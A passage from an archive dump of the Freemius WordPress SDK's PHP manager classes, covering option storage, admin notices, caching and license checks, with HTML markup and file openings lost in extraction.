fs_strip_url_protocol( $current_url ) ); $total_sites = count( $site_urls ); $sites_list = ''; $total_products = count( $product_titles ); $products_list = ''; if ( $total_sites > 1 ) { foreach ( $site_urls as $site_url ) { $sites_list .= sprintf( '
                • %s
                • ', $site_url, fs_strip_url_protocol( $site_url ) ); } $sites_list = '
                    ' . $sites_list . '
                  '; } if ( $total_products > 1 ) { foreach ( $product_titles as $product_title ) { $products_list .= sprintf( '
                • %s
                • ', $product_title ); } $products_list = '
                    ' . $products_list . '
                  '; } return sprintf( sprintf( '
                  %s
                  ', ( 1 === $total_sites ? sprintf( '

                  %s

                  ', fs_esc_html_inline( 'You marked this website, %s, as a temporary duplicate of %s.', 'temporary-duplicate-message' ) ) : sprintf( '

                  %s:

                  ', fs_esc_html_inline( 'You marked this website, %s, as a temporary duplicate of these sites', 'temporary-duplicate-of-sites-message' ) ) . '%s' ) ) . '%s', $current_site_link, ( 1 === $total_sites ? sprintf( '%s', $site_urls[0], fs_strip_url_protocol( $site_urls[0] ) ) : $sites_list ), sprintf( '

                  %s

                  %s

                  %s

                  ', esc_attr( admin_url( 'admin-ajax.php?_fs_network_admin=false', 'relative' ) ), sprintf( fs_esc_html_inline( "%s automatic security & feature updates and paid functionality will keep working without interruptions until %s (or when your license expires, whatever comes first).", 'duplicate-site-confirmation-message' ), ( 1 === $total_products ? sprintf( fs_esc_html_x_inline( "The %s's", '"The ", e.g.: "The plugin"', 'the-product-x'), "{$module_label}" ) : fs_esc_html_inline( "The following products'", 'the-following-products' ) ), sprintf( '%s', $temporary_duplicate_end_date ) ), ( 1 === $total_products ? '' : sprintf( '
                  %s
                  ', $products_list ) ), sprintf( fs_esc_html_inline( 'If this is a long term duplicate, to keep automatic updates and paid functionality after %s, please %s.', 'duplicate-site-message' ), sprintf( '%s', $temporary_duplicate_end_date), sprintf( '%s', fs_esc_html_inline( 'activate a license here', 'activate-license-here' ) ) ) ) ); } /** * Determines if the temporary duplicate mode has already expired. * * @return bool */ function has_temporary_duplicate_mode_expired() { $temporary_duplicate_mode_start_timestamp = $this->was_temporary_duplicate_mode_selected() ? $this->get_option( 'temporary_duplicate_mode_selection_timestamp', true ) : $this->get_clone_identification_timestamp(); if ( ! is_numeric( $temporary_duplicate_mode_start_timestamp ) ) { return false; } return ( time() > ( $temporary_duplicate_mode_start_timestamp + self::TEMPORARY_DUPLICATE_PERIOD ) ); } /** * Determines if the logged-in WordPress user manually selected the temporary duplicate mode for the site. * * @return bool */ function was_temporary_duplicate_mode_selected() { return is_numeric( $this->temporary_duplicate_mode_selection_timestamp ); } /** * Stores the time when the logged-in WordPress user selected the temporary duplicate mode for the site. */ private function store_temporary_duplicate_timestamp() { $this->temporary_duplicate_mode_selection_timestamp = time(); } /** * Removes the notice that is shown when the logged-in WordPress user has selected the temporary duplicate mode for the site. * * @param bool $store */ function remove_clone_resolution_options_notice( $store = true ) { $this->_notices->remove_sticky( 'clone_resolution_options_notice', true, $store ); } /** * Removes the notice that is shown when the logged-in WordPress user has selected the temporary duplicate mode for the site. * * @param bool $store */ function remove_temporary_duplicate_notice( $store = true ) { $this->_notices->remove_sticky( 'temporary_duplicate_notice', true, $store ); } /** * Determines if the manual clone resolution options notice is currently being shown. * * @return bool */ function is_clone_resolution_options_notice_shown() { return $this->_notices->has_sticky( 'clone_resolution_options_notice', true ); } /** * Determines if the temporary duplicate notice is currently being shown. * * @return bool */ function is_temporary_duplicate_notice_shown() { return $this->_notices->has_sticky( 'temporary_duplicate_notice', true ); } /** * Determines if a site was marked as a temporary duplicate and if it's still a temporary duplicate. * * @return bool */ function is_temporary_duplicate_by_blog_id( $blog_id ) { $timestamp = $this->get_option( 'temporary_duplicate_mode_selection_timestamp', false, $blog_id ); return ( is_numeric( $timestamp ) && time() < ( $timestamp + self::TEMPORARY_DUPLICATE_PERIOD ) ); } /** * Determines the last time the temporary duplicate notice was shown. * * @return int|null */ function last_time_temporary_duplicate_notice_was_shown() { return $this->temporary_duplicate_notice_shown_timestamp; } /** * Clears the time that has been stored when the temporary duplicate notice was shown. */ function clear_temporary_duplicate_notice_shown_timestamp() { unset( $this->temporary_duplicate_notice_shown_timestamp ); } /** * Adds a temporary duplicate notice that provides the logged-in WordPress user with an option to activate a license for the site. * * @param number[] $product_ids * @param string $message * @param string|null $plugin_title */ function add_temporary_duplicate_sticky_notice( $product_ids, $message, $plugin_title = null ) { $this->_logger->entrance(); $this->_notices->add_sticky( $message, 'temporary_duplicate_notice', '', 'promotion', true, null, $plugin_title, true, true, array( 'product_ids' => $product_ids, 'blog_id' => get_current_blog_id() ) ); $this->temporary_duplicate_notice_shown_timestamp = time(); } #endregion /** * @author Leo Fajardo * @since 2.5.0 * * @param string $key * * @return bool */ private function should_use_network_storage( $key ) { return ( 'new_blog_install_map' === $key ); } /** * @param string $key * @param number|null $blog_id * * @return FS_Option_Manager */ private function get_storage( $key, $blog_id = null ) { if ( is_numeric( $blog_id ) ){ return FS_Option_Manager::get_manager( WP_FS___OPTION_PREFIX . self::OPTION_MANAGER_NAME, true, $blog_id ); } return $this->should_use_network_storage( $key ) ? $this->_network_storage : $this->_storage; } /** * @param string $name * @param bool $flush * @param number|null $blog_id * * @return mixed */ private function get_option( $name, $flush = false, $blog_id = null ) { return $this->get_storage( $name, $blog_id )->get_option( $name, null, $flush ); } #-------------------------------------------------------------------------------- #region Magic methods #-------------------------------------------------------------------------------- /** * @param string $name * @param int|string $value */ function __set( $name, $value ) { $this->get_storage( $name )->set_option( $name, $value, true ); } /** * @param string $name * * @return bool */ function __isset( $name ) { return $this->get_storage( $name )->has_option( $name, true ); } /** * @param string $name */ function __unset( $name ) { $this->get_storage( $name )->unset_option( $name, true ); } /** * @param string $name * * @return null|int|string */ function __get( $name ) { return $this->get_option( $name, // Reload storage from DB when accessing request_handler_* options to avoid race conditions. fs_starts_with( $name, 'request_handler' ) ); } #endregion } vendor/freemius/includes/managers/class-fs-option-manager.php000064400000034211147600365160020436 0ustar00_logger = FS_Logger::get_logger( WP_FS__SLUG . '_opt_mngr_' . $id, WP_FS__DEBUG_SDK, WP_FS__ECHO_DEBUG_SDK ); $this->_logger->entrance(); $this->_logger->log( 'id = ' . $id ); $this->_id = $id; $this->_autoload = $autoload; if ( is_multisite() ) { $this->_is_network_storage = ( true === $network_level_or_blog_id ); if ( is_numeric( $network_level_or_blog_id ) ) { $this->_blog_id = $network_level_or_blog_id; } } else { $this->_is_network_storage = false; } if ( $load ) { $this->load(); } } /** * @author Vova Feldman (@svovaf) * @since 1.0.3 * * @param string $id * @param bool $load * @param bool|int $network_level_or_blog_id Since 2.0.0 * @param bool|null $autoload * * @return \FS_Option_Manager */ static function get_manager( $id, $load = false, $network_level_or_blog_id = false, $autoload = null ) { $key = strtolower( $id ); if ( is_multisite() ) { if ( true === $network_level_or_blog_id ) { $key .= ':ms'; } else if ( is_numeric( $network_level_or_blog_id ) && $network_level_or_blog_id > 0 ) { $key .= ":{$network_level_or_blog_id}"; } else { $network_level_or_blog_id = get_current_blog_id(); $key .= ":{$network_level_or_blog_id}"; } } if ( ! isset( self::$_MANAGERS[ $key ] ) ) { self::$_MANAGERS[ $key ] = new FS_Option_Manager( $id, $load, $network_level_or_blog_id, $autoload ); } // If load required but not yet loaded, load. else if ( $load && ! self::$_MANAGERS[ $key ]->is_loaded() ) { self::$_MANAGERS[ $key ]->load(); } return self::$_MANAGERS[ $key ]; } /** * @author Vova Feldman (@svovaf) * @since 1.0.3 * * @param bool $flush */ function load( $flush = false ) { $this->_logger->entrance(); if ( ! $flush && isset( $this->_options ) ) { return; } if ( isset( $this->_options ) ) { // Clear prev options. $this->clear(); } $option_name = $this->get_option_manager_name(); if ( $this->_is_network_storage ) { $this->_options = get_site_option( $option_name ); } else if ( $this->_blog_id > 0 ) { $this->_options = get_blog_option( $this->_blog_id, $option_name ); } else { $this->_options = get_option( $option_name ); } if ( is_string( $this->_options ) ) { $this->_options = json_decode( $this->_options ); } // $this->_logger->info('get_option = ' . var_export($this->_options, true)); if ( false === $this->_options ) { $this->clear(); } } /** * @author Vova Feldman (@svovaf) * @since 1.0.3 * * @return bool */ function is_loaded() { return isset( $this->_options ); } /** * @author Vova Feldman (@svovaf) * @since 1.0.3 * * @return bool */ function is_empty() { return ( $this->is_loaded() && false === $this->_options ); } /** * @author Vova Feldman (@svovaf) * @since 1.0.6 * * @param bool $flush */ function clear( $flush = false ) { $this->_logger->entrance(); $this->_options = array(); if ( $flush ) { $this->store(); } } /** * Delete options manager from DB. * * @author Vova Feldman (@svovaf) * @since 1.0.9 */ function delete() { $option_name = $this->get_option_manager_name(); if ( $this->_is_network_storage ) { delete_site_option( $option_name ); } else if ( $this->_blog_id > 0 ) { delete_blog_option( $this->_blog_id, $option_name ); } else { delete_option( $option_name ); } } /** * @author Vova Feldman (@svovaf) * @since 1.0.6 * * @param string $option * @param bool $flush * * @return bool */ function has_option( $option, $flush = false ) { if ( ! $this->is_loaded() || $flush ) { $this->load( $flush ); } return array_key_exists( $option, $this->_options ); } /** * @author Vova Feldman (@svovaf) * @since 1.0.3 * * @param string $option * @param mixed $default * @param bool $flush * * @return mixed */ function get_option( $option, $default = null, $flush = false ) { $this->_logger->entrance( 'option = ' . $option ); if ( ! $this->is_loaded() || $flush ) { $this->load( $flush ); } if ( is_array( $this->_options ) ) { $value = isset( $this->_options[ $option ] ) ? $this->_options[ $option ] : $default; } else if ( is_object( $this->_options ) ) { $value = isset( $this->_options->{$option} ) ? $this->_options->{$option} : $default; } else { $value = $default; } /** * If it's an object, return a clone of the object, otherwise, * external changes of the object will actually change the value * of the object in the option manager which may lead to an unexpected * behaviour and data integrity when a store() call is triggered. * * Example: * $object1 = $options->get_option( 'object1' ); * $object1->x = 123; * * $object2 = $options->get_option( 'object2' ); * $object2->y = 'dummy'; * * $options->set_option( 'object2', $object2, true ); * * If we don't return a clone of option 'object1', setting 'object2' * will also store the updated value of 'object1' which is quite not * an expected behaviour. * * @author Vova Feldman */ return is_object( $value ) ? clone $value : $value; } /** * @author Vova Feldman (@svovaf) * @since 1.0.3 * * @param string $option * @param mixed $value * @param bool $flush */ function set_option( $option, $value, $flush = false ) { $this->_logger->entrance( 'option = ' . $option ); if ( ! $this->is_loaded() ) { $this->clear(); } /** * If it's an object, store a clone of the object, otherwise, * external changes of the object will actually change the value * of the object in the options manager which may lead to an unexpected * behaviour and data integrity when a store() call is triggered. * * Example: * $object1 = new stdClass(); * $object1->x = 123; * * $options->set_option( 'object1', $object1 ); * * $object1->x = 456; * * $options->set_option( 'object2', $object2, true ); * * If we don't set the option as a clone of option 'object1', setting 'object2' * will also store the updated value of 'object1' ($object1->x = 456 instead of * $object1->x = 123) which is quite not an expected behaviour. * * @author Vova Feldman */ $copy = is_object( $value ) ? clone $value : $value; if ( is_array( $this->_options ) ) { $this->_options[ $option ] = $copy; } else if ( is_object( $this->_options ) ) { $this->_options->{$option} = $copy; } if ( $flush ) { $this->store(); } } /** * Unset option. * * @author Vova Feldman (@svovaf) * @since 1.0.3 * * @param string $option * @param bool $flush */ function unset_option( $option, $flush = false ) { $this->_logger->entrance( 'option = ' . $option ); if ( is_array( $this->_options ) ) { if ( ! isset( $this->_options[ $option ] ) ) { return; } unset( $this->_options[ $option ] ); } else if ( is_object( $this->_options ) ) { if ( ! isset( $this->_options->{$option} ) ) { return; } unset( $this->_options->{$option} ); } if ( $flush ) { $this->store(); } } /** * Dump options to database. * * @author Vova Feldman (@svovaf) * @since 1.0.3 */ function store() { $this->_logger->entrance(); $option_name = $this->get_option_manager_name(); if ( $this->_logger->is_on() ) { $this->_logger->info( $option_name . ' = ' . var_export( $this->_options, true ) ); } // Update DB. if ( $this->_is_network_storage ) { update_site_option( $option_name, $this->_options ); } else if ( $this->_blog_id > 0 ) { update_blog_option( $this->_blog_id, $option_name, $this->_options ); } else { update_option( $option_name, $this->_options, $this->_autoload ); } } /** * Get options keys. * * @author Vova Feldman (@svovaf) * @since 1.0.3 * * @return string[] */ function get_options_keys() { if ( is_array( $this->_options ) ) { return array_keys( $this->_options ); } else if ( is_object( $this->_options ) ) { return array_keys( get_object_vars( $this->_options ) ); } return array(); } #-------------------------------------------------------------------------------- #region Migration #-------------------------------------------------------------------------------- /** * Migrate options from site level. * * @author Vova Feldman (@svovaf) * @since 2.0.0 */ function migrate_to_network() { $site_options = FS_Option_Manager::get_manager($this->_id, true, false); $options = is_object( $site_options->_options ) ? get_object_vars( $site_options->_options ) : $site_options->_options; if ( ! empty( $options ) ) { foreach ( $options as $key => $val ) { $this->set_option( $key, $val, false ); } $this->store(); } } #endregion #-------------------------------------------------------------------------------- #region Helper Methods #-------------------------------------------------------------------------------- /** * @return string */ private function get_option_manager_name() { return $this->_id; } #endregion } vendor/freemius/includes/managers/class-fs-admin-notice-manager.php000064400000045124147600365160021502 0ustar00 0 ) { $key .= ":{$network_level_or_blog_id}"; } else { $network_level_or_blog_id = get_current_blog_id(); $key .= ":{$network_level_or_blog_id}"; } } if ( ! isset( self::$_instances[ $key ] ) ) { self::$_instances[ $key ] = new FS_Admin_Notice_Manager( $id, $title, $module_unique_affix, $is_network_and_blog_admins, $network_level_or_blog_id ); } return self::$_instances[ $key ]; } /** * @param string $id * @param string $title * @param string $module_unique_affix * @param bool $is_network_and_blog_admins Whether or not the message should be shown both on network and * blog admin pages. * @param bool|int $network_level_or_blog_id */ protected function __construct( $id, $title = '', $module_unique_affix = '', $is_network_and_blog_admins = false, $network_level_or_blog_id = false ) { $this->_id = $id; $this->_logger = FS_Logger::get_logger( WP_FS__SLUG . '_' . $this->_id . '_data', WP_FS__DEBUG_SDK, WP_FS__ECHO_DEBUG_SDK ); $this->_title = ! empty( $title ) ? $title : ''; $this->_module_unique_affix = $module_unique_affix; $this->_sticky_storage = FS_Key_Value_Storage::instance( 'admin_notices', $this->_id, $network_level_or_blog_id ); if ( is_multisite() ) { $this->_is_network_notices = ( true === $network_level_or_blog_id ); if ( is_numeric( $network_level_or_blog_id ) ) { $this->_blog_id = $network_level_or_blog_id; } } else { $this->_is_network_notices = false; } $is_network_admin = fs_is_network_admin(); $is_blog_admin = fs_is_blog_admin(); if ( ( $this->_is_network_notices && $is_network_admin ) || ( ! $this->_is_network_notices && $is_blog_admin ) || ( $is_network_and_blog_admins && ( $is_network_admin || $is_blog_admin ) ) ) { if ( 0 < count( $this->_sticky_storage ) ) { $ajax_action_suffix = str_replace( ':', '-', $this->_id ); // If there are sticky notices for the current slug, add a callback // to the AJAX action that handles message dismiss. add_action( "wp_ajax_fs_dismiss_notice_action_{$ajax_action_suffix}", array( &$this, 'dismiss_notice_ajax_callback' ) ); foreach ( $this->_sticky_storage as $msg ) { // Add admin notice. $this->add( $msg['message'], $msg['title'], $msg['type'], true, $msg['id'], false, isset( $msg['wp_user_id'] ) ? $msg['wp_user_id'] : null, ! empty( $msg['plugin'] ) ? $msg['plugin'] : null, $is_network_and_blog_admins, isset( $msg['dismissible'] ) ? $msg['dismissible'] : null ); } } } } /** * Remove sticky message by ID. * * @author Vova Feldman (@svovaf) * @since 1.0.7 * */ function dismiss_notice_ajax_callback() { check_admin_referer( 'fs_dismiss_notice_action' ); if ( ! is_numeric( $_POST['message_id'] ) ) { $this->_sticky_storage->remove( $_POST['message_id'] ); } wp_die(); } /** * Rendered sticky message dismiss JavaScript. * * @author Vova Feldman (@svovaf) * @since 1.0.7 */ static function _add_sticky_dismiss_javascript() { $params = array(); fs_require_once_template( 'sticky-admin-notice-js.php', $params ); } private static $_added_sticky_javascript = false; /** * Hook to the admin_footer to add sticky message dismiss JavaScript handler. * * @author Vova Feldman (@svovaf) * @since 1.0.7 */ private static function has_sticky_messages() { if ( ! self::$_added_sticky_javascript ) { add_action( 'admin_footer', array( 'FS_Admin_Notice_Manager', '_add_sticky_dismiss_javascript' ) ); } } /** * Handle admin_notices by printing the admin messages stacked in the queue. * * @author Vova Feldman (@svovaf) * @since 1.0.4 * */ function _admin_notices_hook() { if ( function_exists( 'current_user_can' ) && ! current_user_can( 'manage_options' ) ) { // Only show messages to admins. return; } foreach ( $this->_notices as $id => $msg ) { if ( isset( $msg['wp_user_id'] ) && is_numeric( $msg['wp_user_id'] ) ) { if ( get_current_user_id() != $msg['wp_user_id'] ) { continue; } } /** * Added a filter to control the visibility of admin notices. * * Usage example: * * /** * * @param bool $show * * @param array $msg { * * @var string $message The actual message. * * @var string $title An optional message title. * * @var string $type The type of the message ('success', 'update', 'warning', 'promotion'). * * @var string $id The unique identifier of the message. * * @var string $manager_id The unique identifier of the notices manager. For plugins it would be the plugin's slug, for themes - `-theme`. * * @var string $plugin The product's title. * * @var string $wp_user_id An optional WP user ID that this admin notice is for. * * } * * * * @return bool * *\/ * function my_custom_show_admin_notice( $show, $msg ) { * if ('trial_promotion' != $msg['id']) { * return false; * } * * return $show; * } * * my_fs()->add_filter( 'show_admin_notice', 'my_custom_show_admin_notice', 10, 2 ); * * @author Vova Feldman * @since 2.2.0 */ $show_notice = call_user_func_array( 'fs_apply_filter', array( $this->_module_unique_affix, 'show_admin_notice', $this->show_admin_notices(), $msg ) ); if ( true !== $show_notice ) { continue; } fs_require_template( 'admin-notice.php', $msg ); if ( $msg['sticky'] ) { self::has_sticky_messages(); } } } /** * Enqueue common stylesheet to style admin notice. * * @author Vova Feldman (@svovaf) * @since 1.0.7 */ function _enqueue_styles() { fs_enqueue_local_style( 'fs_common', '/admin/common.css' ); } /** * Check if the current page is the Gutenberg block editor. * * @author Vova Feldman (@svovaf) * @since 2.2.3 * * @return bool */ function is_gutenberg_page() { if ( function_exists( 'is_gutenberg_page' ) && is_gutenberg_page() ) { // The Gutenberg plugin is on. return true; } $current_screen = get_current_screen(); if ( method_exists( $current_screen, 'is_block_editor' ) && $current_screen->is_block_editor() ) { // Gutenberg page on 5+. return true; } return false; } /** * Check if admin notices should be shown on page. E.g., we don't want to show notices in the Visual Editor. * * @author Xiaheng Chen (@xhchen) * @since 2.4.2 * * @return bool */ function show_admin_notices() { global $pagenow; if ( 'about.php' === $pagenow ) { // Don't show admin notices on the About page. return false; } if ( $this->is_gutenberg_page() ) { // Don't show admin notices in Gutenberg (visual editor). return false; } return true; } /** * Add admin message to admin messages queue, and hook to admin_notices / all_admin_notices if not yet hooked. * * @author Vova Feldman (@svovaf) * @since 1.0.4 * * @param string $message * @param string $title * @param string $type * @param bool $is_sticky * @param string $id Message ID * @param bool $store_if_sticky * @param number|null $wp_user_id * @param string|null $plugin_title * @param bool $is_network_and_blog_admins Whether or not the message should be shown both on network * and blog admin pages. * @param bool|null $is_dismissible * @param array $data * * @uses add_action() */ function add( $message, $title = '', $type = 'success', $is_sticky = false, $id = '', $store_if_sticky = true, $wp_user_id = null, $plugin_title = null, $is_network_and_blog_admins = false, $is_dismissible = null, $data = array() ) { $notices_type = $this->get_notices_type(); if ( empty( $this->_notices ) ) { if ( ! $is_network_and_blog_admins ) { add_action( $notices_type, array( &$this, "_admin_notices_hook" ) ); } else { add_action( 'network_admin_notices', array( &$this, "_admin_notices_hook" ) ); add_action( 'admin_notices', array( &$this, "_admin_notices_hook" ) ); } add_action( 'admin_enqueue_scripts', array( &$this, '_enqueue_styles' ) ); } if ( '' === $id ) { $id = md5( $title . ' ' . $message . ' ' . $type ); } $message_object = array( 'message' => $message, 'title' => $title, 'type' => $type, 'sticky' => $is_sticky, 'id' => $id, 'manager_id' => $this->_id, 'plugin' => ( ! is_null( $plugin_title ) ? $plugin_title : $this->_title ), 'wp_user_id' => $wp_user_id, 'dismissible' => $is_dismissible, 'data' => $data ); if ( $is_sticky && $store_if_sticky ) { $this->_sticky_storage->{$id} = $message_object; } $this->_notices[ $id ] = $message_object; } /** * @author Vova Feldman (@svovaf) * @since 1.0.7 * * @param string|string[] $ids * @param bool $store */ function remove_sticky( $ids, $store = true ) { if ( ! is_array( $ids ) ) { $ids = array( $ids ); } foreach ( $ids as $id ) { // Remove from sticky storage. $this->_sticky_storage->remove( $id, $store ); if ( isset( $this->_notices[ $id ] ) ) { unset( $this->_notices[ $id ] ); } } } /** * Check if sticky message exists by id. * * @author Vova Feldman (@svovaf) * @since 1.0.9 * * @param $id * * @return bool */ function has_sticky( $id ) { return isset( $this->_sticky_storage[ $id ] ); } /** * Adds sticky admin notification. * * @author Vova Feldman (@svovaf) * @since 1.0.7 * * @param string $message * @param string $id Message ID * @param string $title * @param string $type * @param number|null $wp_user_id * @param string|null $plugin_title * @param bool $is_network_and_blog_admins Whether or not the message should be shown both on network * and blog admin pages. * @param bool $is_dimissible * @param array $data */ function add_sticky( $message, $id, $title = '', $type = 'success', $wp_user_id = null, $plugin_title = null, $is_network_and_blog_admins = false, $is_dimissible = true, $data = array() ) { if ( ! empty( $this->_module_unique_affix ) ) { $message = fs_apply_filter( $this->_module_unique_affix, "sticky_message_{$id}", $message ); $title = fs_apply_filter( $this->_module_unique_affix, "sticky_title_{$id}", $title ); } $this->add( $message, $title, $type, true, $id, true, $wp_user_id, $plugin_title, $is_network_and_blog_admins, $is_dimissible, $data ); } /** * Retrieves the data of an sticky notice. * * @author Leo Fajardo (@leorw) * @since 2.4.3 * * @param string $id Message ID. * * @return array|null */ function get_sticky( $id ) { return isset( $this->_sticky_storage->{$id} ) ? $this->_sticky_storage->{$id} : null; } /** * Clear all sticky messages. * * @author Vova Feldman (@svovaf) * @since 1.0.8 * * @param bool $is_temporary @since 2.5.1 */ function clear_all_sticky( $is_temporary = false ) { if ( $is_temporary ) { $this->_notices = array(); } else { $this->_sticky_storage->clear_all(); } } #-------------------------------------------------------------------------------- #region Helper Method #-------------------------------------------------------------------------------- /** * @author Vova Feldman (@svovaf) * @since 2.0.0 * * @return string */ private function get_notices_type() { return $this->_is_network_notices ? 'network_admin_notices' : 'admin_notices'; } #endregion } vendor/freemius/includes/managers/class-fs-license-manager.php000064400000004226147600365160020553 0ustar00get_slug() ); // // if ( ! isset( self::$_instances[ $slug ] ) ) { // self::$_instances[ $slug ] = new FS_License_Manager( $slug, $fs ); // } // // return self::$_instances[ $slug ]; // } // //// private function __construct($slug) { //// parent::__construct($slug); //// } // // function entry_id() { // return 'licenses'; // } // // function sync( $id ) { // // } // // /** // * @author Vova Feldman (@svovaf) // * @since 1.0.5 // * @uses FS_Api // * // * @param number|bool $plugin_id // * // * @return FS_Plugin_License[]|stdClass Licenses or API error. // */ // function api_get_user_plugin_licenses( $plugin_id = false ) { // $api = $this->_fs->get_api_user_scope(); // // if ( ! is_numeric( $plugin_id ) ) { // $plugin_id = $this->_fs->get_id(); // } // // $result = $api->call( "/plugins/{$plugin_id}/licenses.json" ); // // if ( ! isset( $result->error ) ) { // for ( $i = 0, $len = count( $result->licenses ); $i < $len; $i ++ ) { // $result->licenses[ $i ] = new FS_Plugin_License( $result->licenses[ $i ] ); // } // // $result = $result->licenses; // } // // return $result; // } // // function api_get_many() { // // } // // function api_activate( $id ) { // // } // // function api_deactivate( $id ) { // // } /** * @param FS_Plugin_License[] $licenses * * @return bool */ static function has_premium_license( $licenses ) { if ( is_array( $licenses ) ) { foreach ( $licenses as $license ) { /** * @var FS_Plugin_License $license */ if ( ! $license->is_utilized() && $license->is_features_enabled() ) { return true; } } } return false; } }vendor/freemius/includes/managers/class-fs-cache-manager.php000064400000022342147600365160020173 0ustar00_logger = FS_Logger::get_logger( WP_FS__SLUG . '_cach_mngr_' . $id, WP_FS__DEBUG_SDK, WP_FS__ECHO_DEBUG_SDK ); $this->_logger->entrance(); $this->_logger->log( 'id = ' . $id ); $this->_options = FS_Option_Manager::get_manager( $id, true, true, false ); } /** * @author Vova Feldman (@svovaf) * @since 1.1.6 * * @param $id * * @return FS_Cache_Manager */ static function get_manager( $id ) { $id = strtolower( $id ); if ( ! isset( self::$_MANAGERS[ $id ] ) ) { self::$_MANAGERS[ $id ] = new FS_Cache_Manager( $id ); } return self::$_MANAGERS[ $id ]; } /** * @author Vova Feldman (@svovaf) * @since 1.1.6 * * @return bool */ function is_empty() { $this->_logger->entrance(); return $this->_options->is_empty(); } /** * @author Vova Feldman (@svovaf) * @since 1.1.6 */ function clear() { $this->_logger->entrance(); $this->_options->clear( true ); } /** * Delete cache manager from DB. * * @author Vova Feldman (@svovaf) * @since 1.0.9 */ function delete() { $this->_options->delete(); } /** * Check if there's a cached item. * * @author Vova Feldman (@svovaf) * @since 1.1.6 * * @param string $key * * @return bool */ function has( $key ) { $cache_entry = $this->_options->get_option( $key, false ); return ( is_object( $cache_entry ) && isset( $cache_entry->timestamp ) && is_numeric( $cache_entry->timestamp ) ); } /** * Check if there's a valid cached item. * * @author Vova Feldman (@svovaf) * @since 1.1.6 * * @param string $key * @param null|int $expiration Since 1.2.2.7 * * @return bool */ function has_valid( $key, $expiration = null ) { $cache_entry = $this->_options->get_option( $key, false ); $is_valid = ( is_object( $cache_entry ) && isset( $cache_entry->timestamp ) && is_numeric( $cache_entry->timestamp ) && $cache_entry->timestamp > WP_FS__SCRIPT_START_TIME ); if ( $is_valid && is_numeric( $expiration ) && isset( $cache_entry->created ) && is_numeric( $cache_entry->created ) && $cache_entry->created + $expiration < WP_FS__SCRIPT_START_TIME ) { /** * Even if the cache is still valid, since we are checking for validity * with an explicit expiration period, if the period has past, return * `false` as if the cache is invalid. * * @since 1.2.2.7 */ $is_valid = false; } return $is_valid; } /** * @author Vova Feldman (@svovaf) * @since 1.1.6 * * @param string $key * @param mixed $default * * @return mixed */ function get( $key, $default = null ) { $this->_logger->entrance( 'key = ' . $key ); $cache_entry = $this->_options->get_option( $key, false ); if ( is_object( $cache_entry ) && isset( $cache_entry->timestamp ) && is_numeric( $cache_entry->timestamp ) ) { return $cache_entry->result; } return is_object( $default ) ? clone $default : $default; } /** * @author Vova Feldman (@svovaf) * @since 1.1.6 * * @param string $key * @param mixed $default * * @return mixed */ function get_valid( $key, $default = null ) { $this->_logger->entrance( 'key = ' . $key ); $cache_entry = $this->_options->get_option( $key, false ); if ( is_object( $cache_entry ) && isset( $cache_entry->timestamp ) && is_numeric( $cache_entry->timestamp ) && $cache_entry->timestamp > WP_FS__SCRIPT_START_TIME ) { return $cache_entry->result; } return is_object( $default ) ? clone $default : $default; } /** * @author Vova Feldman (@svovaf) * @since 1.1.6 * * @param string $key * @param mixed $value * @param int $expiration * @param int $created Since 2.0.0 Cache creation date. */ function set( $key, $value, $expiration = WP_FS__TIME_24_HOURS_IN_SEC, $created = WP_FS__SCRIPT_START_TIME ) { $this->_logger->entrance( 'key = ' . $key ); $cache_entry = new stdClass(); $cache_entry->result = $value; $cache_entry->created = $created; $cache_entry->timestamp = $created + $expiration; $this->_options->set_option( $key, $cache_entry, true ); } /** * Get cached record expiration, or false if not cached or expired. * * @author Vova Feldman (@svovaf) * @since 1.1.7.3 * * @param string $key * * @return bool|int */ function get_record_expiration( $key ) { $this->_logger->entrance( 'key = ' . $key ); $cache_entry = $this->_options->get_option( $key, false ); if ( is_object( $cache_entry ) && isset( $cache_entry->timestamp ) && is_numeric( $cache_entry->timestamp ) && $cache_entry->timestamp > WP_FS__SCRIPT_START_TIME ) { return $cache_entry->timestamp; } return false; } /** * Purge cached item. * * @author Vova Feldman (@svovaf) * @since 1.1.6 * * @param string $key */ function purge( $key ) { $this->_logger->entrance( 'key = ' . $key ); $this->_options->unset_option( $key, true ); } /** * Extend cached item caching period. * * @author Vova Feldman (@svovaf) * @since 2.0.0 * * @param string $key * @param int $expiration * * @return bool */ function update_expiration( $key, $expiration = WP_FS__TIME_24_HOURS_IN_SEC ) { $this->_logger->entrance( 'key = ' . $key ); $cache_entry = $this->_options->get_option( $key, false ); if ( ! is_object( $cache_entry ) || ! isset( $cache_entry->timestamp ) || ! is_numeric( $cache_entry->timestamp ) ) { return false; } $this->set( $key, $cache_entry->result, $expiration, $cache_entry->created ); return true; } /** * Set cached item as expired. * * @author Vova Feldman (@svovaf) * @since 1.2.2.7 * * @param string $key */ function expire( $key ) { $this->_logger->entrance( 'key = ' . $key ); $cache_entry = $this->_options->get_option( $key, false ); if ( is_object( $cache_entry ) && isset( $cache_entry->timestamp ) && is_numeric( $cache_entry->timestamp ) ) { // Set to expired. $cache_entry->timestamp = WP_FS__SCRIPT_START_TIME; $this->_options->set_option( $key, $cache_entry, true ); } } #-------------------------------------------------------------------------------- #region Migration #-------------------------------------------------------------------------------- /** * Migrate options from site level. * * @author Vova Feldman (@svovaf) * @since 2.0.0 */ function migrate_to_network() { $this->_options->migrate_to_network(); } #endregion }vendor/freemius/includes/managers/class-fs-plugin-manager.php000064400000013766147600365160020440 0ustar00_logger = FS_Logger::get_logger( WP_FS__SLUG . '_' . $module_id . '_' . 'plugins', WP_FS__DEBUG_SDK, WP_FS__ECHO_DEBUG_SDK ); $this->_module_id = $module_id; $this->load(); } protected function get_option_manager() { return FS_Option_Manager::get_manager( WP_FS__ACCOUNTS_OPTION_NAME, true, true ); } /** * @author Leo Fajardo (@leorw) * @since 1.2.2 * * @param string|bool $module_type "plugin", "theme", or "false" for all modules. * * @return array */ protected function get_all_modules( $module_type = false ) { $option_manager = $this->get_option_manager(); if ( false !== $module_type ) { return fs_get_entities( $option_manager->get_option( $module_type . 's', array() ), FS_Plugin::get_class_name() ); } return array( self::OPTION_NAME_PLUGINS => fs_get_entities( $option_manager->get_option( self::OPTION_NAME_PLUGINS, array() ), FS_Plugin::get_class_name() ), self::OPTION_NAME_THEMES => fs_get_entities( $option_manager->get_option( self::OPTION_NAME_THEMES, array() ), FS_Plugin::get_class_name() ), ); } /** * Load plugin data from local DB. * * @author Vova Feldman (@svovaf) * @since 1.0.6 */ function load() { $all_modules = $this->get_all_modules(); if ( ! is_numeric( $this->_module_id ) ) { unset( $all_modules[ self::OPTION_NAME_THEMES ] ); } foreach ( $all_modules as $modules ) { /** * @since 1.2.2 * * @var 